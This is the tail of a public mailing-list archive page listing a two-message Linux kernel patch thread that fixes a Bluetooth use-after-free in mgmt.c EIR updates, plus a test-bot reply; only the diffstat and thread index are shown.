 net/bluetooth/mgmt.c | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-23 17:15 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 16:43 [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates Ren Wei
2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: " Ren Wei
2026-07-23 17:15   ` Bluetooth: " bluez.test.bot

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.